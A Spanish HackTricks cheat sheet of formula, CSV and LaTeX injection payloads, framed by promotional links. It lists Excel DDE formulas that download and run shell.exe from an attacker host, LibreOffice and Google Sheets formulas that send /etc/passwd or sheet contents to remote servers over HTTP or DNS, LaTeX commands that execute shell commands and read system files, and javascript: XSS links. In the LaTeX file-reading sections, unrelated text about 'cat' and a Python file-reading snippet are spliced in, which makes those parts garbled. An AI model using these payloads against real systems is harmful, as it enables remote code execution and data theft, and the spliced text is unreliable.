15 KiB
Inyección de Fórmulas/CSV/Doc/LaTeX
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Inyección de Fórmulas
Información
Si tu entrada se está reflejando dentro de archivos CSV (o cualquier otro archivo que probablemente se abrirá con Excel), es posible que puedas poner fórmulas de Excel que se ejecutarán cuando el usuario abra el archivo o cuando el usuario haga clic en algún enlace dentro de la hoja de cálculo de Excel.
{% hint style="danger" %} Hoy en día, Excel alertará (varias veces) al usuario cuando algo se cargue desde fuera de Excel para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en la Ingeniería Social para la carga final. {% endhint %}
Lista de palabras
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hipervínculo
El siguiente ejemplo es muy útil para exfiltrar contenido de la hoja de cálculo final y realizar solicitudes a ubicaciones arbitrarias. Pero requiere que el usuario haga clic en el enlace (y acepte las advertencias).
Ejemplo tomado de https://payatu.com/csv-injection-basic-to-exploit
Supongamos un escenario de ataque al sistema de gestión de registros de estudiantes de una escuela. La aplicación permite al profesor ingresar los detalles de los estudiantes en la escuela. El atacante obtiene acceso a la aplicación y desea comprometer a todos los profesores que la utilizan. Por lo tanto, el atacante intenta realizar un ataque de inyección de CSV a través de la aplicación web.
El atacante necesita robar los detalles de otros estudiantes. Por lo tanto, el atacante utiliza la fórmula de hipervínculo y la ingresa al ingresar los detalles del estudiante.
Cuando el profesor exporta el CSV y hace clic en el hipervínculo, los datos sensibles se envían al servidor del atacante.
El archivo CSV exportado contiene carga maliciosa en él.
Los detalles del estudiante están registrados en el servidor web del atacante.
RCE
Para que este ejemplo funcione, es necesario tener habilitada la siguiente configuración:
Archivo → Opciones → Centro de confianza → Configuración del centro de confianza → Contenido externo → Habilitar el lanzamiento del servidor de intercambio de datos dinámicos
o el uso de una versión antigua de Excel.
La buena noticia es que esta carga útil se ejecuta automáticamente cuando se abre el archivo (si el usuario acepta las advertencias).
Es posible ejecutar una calculadora con la siguiente carga útil =cmd|' /C calc'!xxx
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LFI
LibreOffice Calc
- Esto leerá la primera línea del archivo local /etc/passwd:
='file:///etc/passwd'#$passwd.A1
- Exfiltrarlo:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
- Exfiltrar más de una línea:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Exfiltración DNS:
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))
Analizando la carga útil de exfiltración DNS:
- ‘file:///etc/passwd’#$passwd.A19 - Leerá la 19ª línea del archivo local /etc/passwd
- ENCODEURL('file:///etc/passwd'#$passwd.A19) - Codifica en URL los datos devueltos
- MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41) - Similar a substring, lee datos desde el primer carácter hasta el 41º, una forma muy útil de restringir la longitud de los nombres de host DNS (límite de 254 caracteres para FQDN y 63 caracteres para una etiqueta, es decir, subdominio)
- SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-") - reemplaza todas las instancias de % (el carácter especial de la codificación URL) con guiones, esto asegura que solo se utilicen caracteres DNS válidos
- CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>") - Concatena la salida del archivo (después de que se haya realizado el procesamiento anterior) con el FQDN (para el cual tenemos acceso al host que es autoritario para el dominio)
- WEBSERVICE - Realizará una solicitud para este nombre DNS inexistente que luego podemos analizar los registros (o ejecutar tcpdump, etc.) en el servidor de nombres autoritario DNS para el cual tenemos control
Google Sheets OOB Data Exfiltration
En primer lugar, presentemos algunas de las funciones más interesantes.
CONCATENATE: Une cadenas entre sí.
=CONCATENATE(A2:E2)
IMPORTXML: Importa datos de varios tipos de datos estructurados, incluyendo XML, HTML, CSV, TSV y feeds XML RSS y ATOM.
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Importa un feed RSS o ATOM.
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Importa datos de una tabla o lista dentro de una página HTML.
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Importa un rango de celdas de una hoja de cálculo especificada.
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGEN: Inserta una imagen en una celda.
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
Inyección de LaTeX
Por lo general, los servidores que encontramos en Internet que convierten código LaTeX a PDF utilizan pdflatex
.
Este programa utiliza 3 atributos principales para (des)habilitar la ejecución de comandos:
--no-shell-escape
: Deshabilita la construcción\write18{command}
, incluso si está habilitada en el archivo texmf.cnf.--shell-restricted
: Lo mismo que--shell-escape
, pero limitado a un conjunto 'seguro' de comandos predefinidos (**En Ubuntu 16.04, la lista se encuentra en/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Habilita la construcción\write18{command}
. El comando puede ser cualquier comando de shell. Esta construcción normalmente está deshabilitada por razones de seguridad.
Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante utilizar --shell-restricted
.
Leer archivo
Es posible que necesites ajustar la inyección con envoltorios como [ o $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Leer archivo de una sola línea
To read the contents of a single-lined file, you can use the following command:
Para leer el contenido de un archivo de una sola línea, puedes utilizar el siguiente comando:
cat filename.txt
This command will display the entire content of the file on the terminal.
Este comando mostrará todo el contenido del archivo en la terminal.
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Leer archivo de varias líneas
To read a file that contains multiple lines, you can use the following code:
with open('filename.txt', 'r') as file:
lines = file.readlines()
for line in lines:
print(line)
This code opens the file named filename.txt
in read mode ('r'
) and uses the readlines()
method to read all the lines in the file. The lines are then stored in the lines
variable as a list. Finally, a loop is used to iterate over each line and print it.
You can replace 'filename.txt'
with the path to the file you want to read. Make sure to provide the correct file path and name.
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Escribir archivo
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Ejecución de comandos
La entrada del comando se redirigirá a stdin, utiliza un archivo temporal para obtenerlo.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Si obtienes algún error de LaTex, considera usar base64 para obtener el resultado sin caracteres incorrectos.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Inyección de código en sitios cruzados
De @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Referencias
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder realiza un seguimiento de tu superficie de ataque, ejecuta escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.